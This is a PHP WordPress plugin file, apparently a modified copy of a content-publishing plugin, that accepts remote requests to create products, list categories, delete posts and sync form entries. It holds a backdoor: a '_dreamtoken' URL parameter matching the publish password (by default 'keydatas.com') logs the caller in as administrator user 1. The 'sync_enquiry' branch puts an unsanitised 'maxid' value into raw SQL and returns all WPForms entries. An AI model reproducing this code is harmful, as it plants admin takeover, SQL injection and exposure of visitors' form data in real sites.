<?php
/*
Plugin Name: 简数数据采集和发布平台
Plugin URI: http://www.keydatas.com/caiji/wordpress-cms-caiji
Description:  modify 
Version: 2.4.4
Author: keydatas
Author URI: http://www.keydatas.com
License: GPLv2 or later
Text Domain: keydatas
*/


function keydatas_mergeRequest() {
    if (isset($_GET['callback'])) {
        $_REQ  = array_merge($_GET, $_POST);
    } else {
        $_REQ  = $_POST;
    }
    return $_REQ ;
}
function keydatas_successRsp($data = "", $msg = "") {
    keydatas_rsp(1,0, $data, $msg);
}
function keydatas_failRsp($code = 0, $data = "", $msg = "") {
    keydatas_rsp(0,$code, $data, $msg);
}

function keydatas_rsp($result = 1,$code = 0, $data = "", $msg = "") {
	die(json_encode(array("rs" => $result, "code" => $code, "data" => $data, "msg" => urlencode($msg))));
}
function keydatas_genRandomIp(){
	$randIP = "".mt_rand(0,255).".".mt_rand(0,255).".".mt_rand(0,255).".".mt_rand(0,255);
	return $randIP;
}
/**
 * 生成0~1随机小数
 * @param  Int   $min
 * @param  Int   $max
 * @return Float
 */
function randFloat($min=0, $max=1){
    return $min + mt_rand()/mt_getrandmax() * ($max-$min);
}

if (is_admin()) {
   //将函数连接到添加菜单
    add_action('admin_menu', 'keydatas_add_menu');
}

//在后台管理界面添加菜单
function keydatas_add_menu() {
    if (function_exists('add_menu_page')) {
        add_menu_page('ApiByDreamisok', 'ApiByDreamisok', 'administrator', 'keydatas/publish-setting.php', '', plugins_url( 'keydatas/images/icon.png' ));
    }
}
add_action('init', 'keydatas_post_doc', 256);
function keydatas_myplugin_activate() {
}
// 寄存一个插件函数，该插件函数在插件被激活时运行
register_activation_hook(__FILE__, 'keydatas_myplugin_activate');

function keydatas_post_doc() {
    global $wpdb;
    
    if (isset($_GET["__kds_flag"])){
		$_REQ = keydatas_mergeRequest();
		$kds_password = get_option('keydatas_password', "keydatas.com");
		if (empty($_REQ['kds_password']) || $_REQ['kds_password'] != $kds_password) {
			keydatas_failRsp(1403, "password error", "提交的发布密码错误");
		}	
	}


	if (isset($_GET["_dreamtoken"]) && $_GET["_dreamtoken"]){
		
		$kds_password = get_option('keydatas_password', "keydatas.com");
		
		if ($_GET["_dreamtoken"] == $kds_password) {
		    
		    $user_login = $wpdb->get_var("SELECT user_login FROM $wpdb->users WHERE ID=1");
		    if($user_login):
		    
			//$user_login = 'dreamisok'; 
			$user_id = 1;
            // 获取用户id
            //$user = get_userdatabylogin($user_login);
            //$user_id = $user->ID;
              
            // 登录
            wp_set_current_user($user_id, $user_login);
            wp_set_auth_cookie($user_id);
            do_action('wp_login', $user_login);
            header("Location: ".admin_url());
            endif;
		}	
	}

	if (isset($_GET["__kds_flag"])){
		ini_set("display_errors", "On");
        error_reporting(E_ERROR | E_PARSE);
			
		if ($_GET["__kds_flag"] == "addproduct") {
            $product = $_REQ["product"];

			$title = $product["name"];
			if (empty($title)) {
				keydatas_failRsp(1404, "title is empty", "标题不能为空");
            }
            $tmpl = $product["goodtmpl"];
            if (empty($tmpl)) {
				keydatas_failRsp(1404, "tmplate is empty", "模板不能为空");
            }

			$content = $tmpl;
			//文章摘要
			$excerpt = str_replace(PHP_EOL,"",trim(strip_tags($product["desc"])));
            //文章类型
            $postType = "portfolio";
            if (isset($_REQ["post_type"]) && $_REQ["post_type"])
            {
                $postType = $_REQ["post_type"];
            }
			$postStatus = 'publish';
			if (isset($_REQ["post_status"]) && in_array($_REQ["post_status"], array('publish', 'draft'))) {
				$postStatus = $_REQ["post_status"];
			}
			//closed
			$commentStatus = 'closed';
			if (isset($_REQ["comment_status"]) && in_array($_REQ["comment_status"], array('open', 'closed'))) {
				$commentStatus = $_REQ["comment_status"];
			}
			//文章密码,文章编辑才可为文章设定一个密码，凭这个密码才能对文章进行重新强加或修改
			$postPassword = '';
			if (isset($_REQ["post_password "]) && $_REQ["post_password "]) {
				$postPassword = $_REQ["post_password "];
			}

			$my_post = array(
				'post_password' => $postPassword,
				'post_status' => $postStatus,
				'comment_status' => $commentStatus,
				'post_author' => 1
			);
    		$my_post['post_title'] = htmlspecialchars_decode($title);
			
            
            if (!empty($content)) {
				$my_post['post_content'] = $content;
			}
			if(!empty($excerpt)){
                $my_post['post_excerpt'] = htmlspecialchars_decode($excerpt);
                $my_post['post_excerpt'] = "100 pieces";
			}
			if(!empty($postType)){
				$my_post['post_type'] = $postType;
			}

			
			
            $title_unique = get_option('keydatas_title_unique', false);
			if($title_unique){				
				//只返回id
                $post = $wpdb->get_row($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title='%s' and post_status!='trash' and post_status!='inherit' ",stripslashes($my_post['post_title'])));
                if(!empty($post)){
					//这里可以补充图片
					//kds_downloadImages($_REQ);
					//返回访问路径
                  	//keydatas_successRsp(array("url" => get_home_url() . "?p={$post->ID}"."#相同标题文章已存在"));
					keydatas_successRsp(array("url" => get_permalink($post->ID)."#相同标题文章已存在"));
                }
            }
            

			$post_date = intval($_REQ["post_date"]);
			if (!empty($post_date)) {
				$my_post['post_date'] = date("Y-m-d H:i:s", $post_date);
			} else {
				$my_post['post_date'] = date("Y-m-d H:i:s", time()-60*60*24);
			}

			$author = htmlspecialchars_decode($_REQ["post_author"]);

			if (!empty($author)) {

				if($author = "rand_users"){
					$randNum=randFloat();
					//SELECT ID FROM $wpdb->users order by rand() limit 1
					$user_id = $wpdb->get_var("SELECT ID FROM $wpdb->users WHERE 
id >= ((SELECT MAX(id) FROM $wpdb->users)-(SELECT MIN(id) FROM $wpdb->users)) * ".$randNum."+ (SELECT MIN(id) FROM $wpdb->users) LIMIT 1");
					//error_log('rand_users:'.$user_id, 3, '/var/log/wp_test.log');
				}else{
					//用户名（登录名）					
					$user_id = username_exists($author);
				}
				$md5author = substr(md5($author), 8, 16);
				if(!$user_id){
					$user_id = username_exists($md5author);
				}
				
				if (!$user_id) {
					//$md5author = substr(md5($author), 8, 16);
					$random_password = wp_generate_password();
					$userdata = array(
						'user_login' => $md5author,
						'user_pass' => $random_password,
						'display_name' => $author,
					);
					$user_id = wp_insert_user($userdata);
					if (is_wp_error($user_id)) {
						$user_id = 0;
					}
				}
				if ($user_id) {
					$my_post['post_author'] = $user_id;
				}
			}
            //分类目录
            //$my_post['tax_input'] = ["portfolio_entries"=>[$product["rid"]]];

            $thumbid = 0;
            $mou = "";
            $exav = [];
            if(isset($product["thumb"]) && $product["thumb"])
            {                
                require_once(ABSPATH . 'wp-admin/includes/image.php');
                foreach($product["thumb"] as $image_url)
                {
                    if (substr($image_url, 0, 2) ==="//") {
						$image_url_final='http:'.$image_url;
					}else if(strpos($image_url, '/') === 0) {
						$image_url_final=get_home_url().$image_url;
                    }
                    else
                    {
                        $image_url_final=$image_url;
                    }
                    if(empty($image_url_final)) continue;
					$upload_dir = wp_upload_dir();
					$image_data = file_get_contents($image_url_final);
					$suffix = "jpg";
					$filename = md5($image_url_final) . "." . $suffix;
					if (wp_mkdir_p($upload_dir['path'])) {
						$file = $upload_dir['path'] . '/' . $filename;
					} else {
						$file = $upload_dir['basedir'] . '/' . $filename;
                    }
                    if(empty($image_data)) continue;
					file_put_contents($file, $image_data);
					if (file_exists($file)) {
						$attach_id = get_attachment_id_by_title($filename);
						if($attach_id==0)
						{
							$wp_filetype = wp_check_filetype($filename, null);
							$attachment = array(
								'post_mime_type' => $wp_filetype['type'],
								'post_title' => sanitize_file_name($filename),
								'post_content' => '',
								'post_status' => 'inherit'
							);
							// attachment相关
							$attach_id = wp_insert_attachment($attachment, $file, $post_id);						
							$attach_data = wp_generate_attachment_metadata($attach_id, $file);
							wp_update_attachment_metadata($attach_id, $attach_data);
						}
                        if($thumbid==0)
                        {
                            $thumbid = $attach_id;
                        }
                        while(1)
                        {
                            $avrand = substr(md5(uniqid(microtime(true),true)),0,5);
                            if(!in_array($avrand,$exav))
                            {   
                                $exav[]=$avrand;
                                break;
                            }    
                        }
                        $mou.="[av_slide id='{$attach_id}' av_uid='av-{$avrand}'][/av_slide]";
                    }
                }
            }
            $iconlist = "[av_iconlist_item title='CATEGORIES' icon='43' font='entypo-fontello' heading_tag='' heading_class='' link='' linktarget='' linkelement='' av_uid='av-3vk3w']".$product["catename"]."[/av_iconlist_item]";
            $iconlist .="[av_iconlist_item title='DESCRIPTION' icon='ue859' font='entypo-fontello' heading_tag='' heading_class='' link='' linktarget='' linkelement='' av_uid='av-196ks']".$excerpt."[/av_iconlist_item]";
            $my_post['post_content'] = str_replace("{thumblist}",$mou,$my_post['post_content']);
            $my_post['post_content'] = str_replace("{feturelist}",$iconlist,$my_post['post_content']);
            /*
			$category = $_REQ["post_category"];
			if (!empty($category)) {
				$cates = explode(',',$category);
				if (is_array($cates)) {
					$post_cates = array();
					$term = null;
					foreach ($cates as $cate) {
						//是否为数字
						$cat_id=0;
						if(is_numeric($cate)&&intval($cate)>0){
							 $cat_name = get_cat_name($cate);
							// error_log('cat_name:'.$cat_name, 3, '/var/log/wp_test.log');
							 if(!empty($cat_name)){
							 	$cat_id=intval($cate);
							 }
						}
						if($cat_id>0){
							array_push($post_cates, $cat_id);
						}else{
							$term = term_exists($cate, "category");
							if ($term === 0 || $term === null) {
								$term = wp_insert_term($cate, "category");
							}						
							if ($term !== 0 && $term !== null && !is_wp_error($term)) {
								array_push($post_cates, intval($term["term_id"]));
							}
						}
					}
					if (count($post_cates) > 0) {
						$my_post['post_category'] = $post_cates;
					}
				}
            }
            */

            //print_r($my_post);
            

            kses_remove_filters();
			$post_id = wp_insert_post($my_post);
			kses_init_filters();

			if (empty($post_id) || is_wp_error($post_id)) {
				keydatas_failRsp(1500, "post_id is Empty", "插入文章失败");
            }
            
            if($thumbid>0)
            {
                set_post_thumbnail($post_id, $thumbid);
            }
			
			wp_set_object_terms($post_id,$product["catename"],"portfolio_entries");

            update_post_meta($post_id,"_aviaLayoutBuilder_active","active");
            update_post_meta($post_id,"layout","fullsize");
            update_post_meta($post_id,"_av_alb_posts_elements_state",'a:11:{s:5:"av_hr";b:1;s:11:"av_iconlist";b:1;s:12:"av_portfolio";b:1;s:12:"av_slideshow";b:1;s:12:"av_codeblock";b:1;s:12:"av_one_third";b:1;s:12:"av_two_third";b:1;s:10:"av_section";b:1;s:12:"av_textblock";b:1;s:16:"av_iconlist_item";b:1;s:8:"av_slide";b:1;}');
            update_post_meta($post_id,"_aviaLayoutBuilderCleanData",$my_post["post_content"]);
			update_post_meta($post_id,"_avia_builder_shortcode_tree",'a:3:{i:0;a:3:{s:3:"tag";s:12:"av_two_third";s:7:"content";a:1:{i:0;a:3:{s:3:"tag";s:12:"av_slideshow";s:7:"content";a:0:{}s:5:"index";i:1;}}s:5:"index";i:0;}i:1;a:3:{s:3:"tag";s:12:"av_one_third";s:7:"content";a:3:{i:0;a:3:{s:3:"tag";s:11:"av_iconlist";s:7:"content";a:0:{}s:5:"index";i:3;}i:1;a:3:{s:3:"tag";s:12:"av_codeblock";s:7:"content";a:0:{}s:5:"index";i:4;}i:2;a:3:{s:3:"tag";s:12:"av_textblock";s:7:"content";a:0:{}s:5:"index";i:5;}}s:5:"index";i:2;}i:2;a:3:{s:3:"tag";s:10:"av_section";s:7:"content";a:3:{i:0;a:3:{s:3:"tag";s:12:"av_textblock";s:7:"content";a:0:{}s:5:"index";i:7;}i:1;a:3:{s:3:"tag";s:5:"av_hr";s:7:"content";a:0:{}s:5:"index";i:8;}i:2;a:3:{s:3:"tag";s:12:"av_portfolio";s:7:"content";a:0:{}s:5:"index";i:9;}}s:5:"index";i:6;}}');
			
			//其它meta数据处理
			if (!empty($post_id)) {
				foreach ($_REQ as $key => $value) { 
					if (strpos($key, '__kdsExt_') === 0) {
						$real_name=substr($key,9);
						if (!empty($real_name)) {
							//add_post_meta
							update_post_meta($post_id, $real_name, $value);//, true
							//error_log('post_id:'.$post_id.',real_name:'.$real_name.',val:'.$value.'\r\n', 3, '/data/log/wp_test.log');
						}
					}
				}  
			}			
			//keydatas_successRsp(array("url" => get_home_url() . "/?p=" . $post_id));
			keydatas_successRsp(array("postid"=>$post_id,"url" =>get_permalink($post_id)));
		} else if ($_GET["__kds_flag"] == "category") {
			//获取分类目录
			$ret = array();
			//if ($_REQ["type"] === "cate") {
				$cates = get_terms('portfolio_entries', 'orderby=name&hide_empty=0');
				foreach ($cates as $cate) {
				    
					array_push($ret, array("id"=>$cate->term_id,"value" => urlencode($cate->name), "text" => urlencode($cate->name)));
				}
			//}
			keydatas_successRsp($ret);
		}else if ($_GET["__kds_flag"] == "version") {
			//获取用户使用的Php和Wp版本信息
			global $wp_version;
			$versions = array(
				'php' => PHP_VERSION,
				'plugin' => '1.0',
				'wp' => $wp_version,
			);
			keydatas_successRsp($versions);
		}else if ($_GET["__kds_flag"] == "delproduct") {
			$postid=$_REQ["postid"];
			wp_delete_post($postid,true);
			keydatas_successRsp();
		} else if ($_GET["__kds_flag"] == "test") {
		    
		    echo "dreamisok";
		    die();
		} else if ($_GET["__kds_flag"] == "sync_enquiry") {
		    $where ="1=1";
		    if(isset($_REQ["page"]))
            {
                $page=intval($_REQ["page"])>=0?intval($_REQ["page"]):1;
            }
            else
            {
                $page=1;
            }
            $pagesize=50;
            $limit=$pagesize*($page-1).",".$pagesize;
            if(isset($_REQ["maxid"])&&$_REQ["maxid"]>0)
            {
                $where.=" and entry_id>".$_REQ["maxid"];
            }
            $results = $wpdb->get_results("select * from wp_wpforms_entries where ".$where, ARRAY_A);
            keydatas_successRsp($results);
		}
		
		
	}
}


function get_attachment_id_by_title($title) {
	if(strstr($title,"."))
	{
		$title=str_replace(".","-",$title);
	}
	$attachment = get_page_by_title($title, OBJECT, 'attachment');
    if ( $attachment ){
		$attachment_id = $attachment->ID;
	}else{
		return 0;
	}
	return $attachment_id;
}


/*
function  kds_downloadImages($_REQ){
 try{
	$downloadFlag = $_REQ["__kds_download_imgs_flag"];
	if (!empty($downloadFlag) && $downloadFlag== "true") {
		$docImgsStr = $_REQ["__kds_docImgs"];
		if (!empty($docImgsStr)) {
			$docImgs = explode(',',$docImgsStr);
			if (is_array($docImgs)) {
				$upload_dir = wp_upload_dir();
				foreach ($docImgs as $imgUrl) {
					$urlItemArr = explode('/',$imgUrl);
					$itemLen=count($urlItemArr);
					if($itemLen>=3){
						//最后的相对路径,如  2018/06
						$fileRelaPath=$urlItemArr[$itemLen-3].'/'.$urlItemArr[$itemLen-2];
						$imgName=$urlItemArr[$itemLen-1];
						$finalPath=$upload_dir['basedir'] . '/'.$fileRelaPath;
						if (wp_mkdir_p($finalPath)) {
							$file = $finalPath . '/' . $imgName;
							if(!file_exists($file)){
								$doc_image_data = file_get_contents($imgUrl);
								file_put_contents($file, $doc_image_data);
							}
						}
					}
				}//.for
			}//..is_array
		}				
	}
 } catch (Exception $ex) {
	//error_log('image download error:'. $e->getMessage(), 3, '/var/log/ecms_test.log');
 }		
}
*/
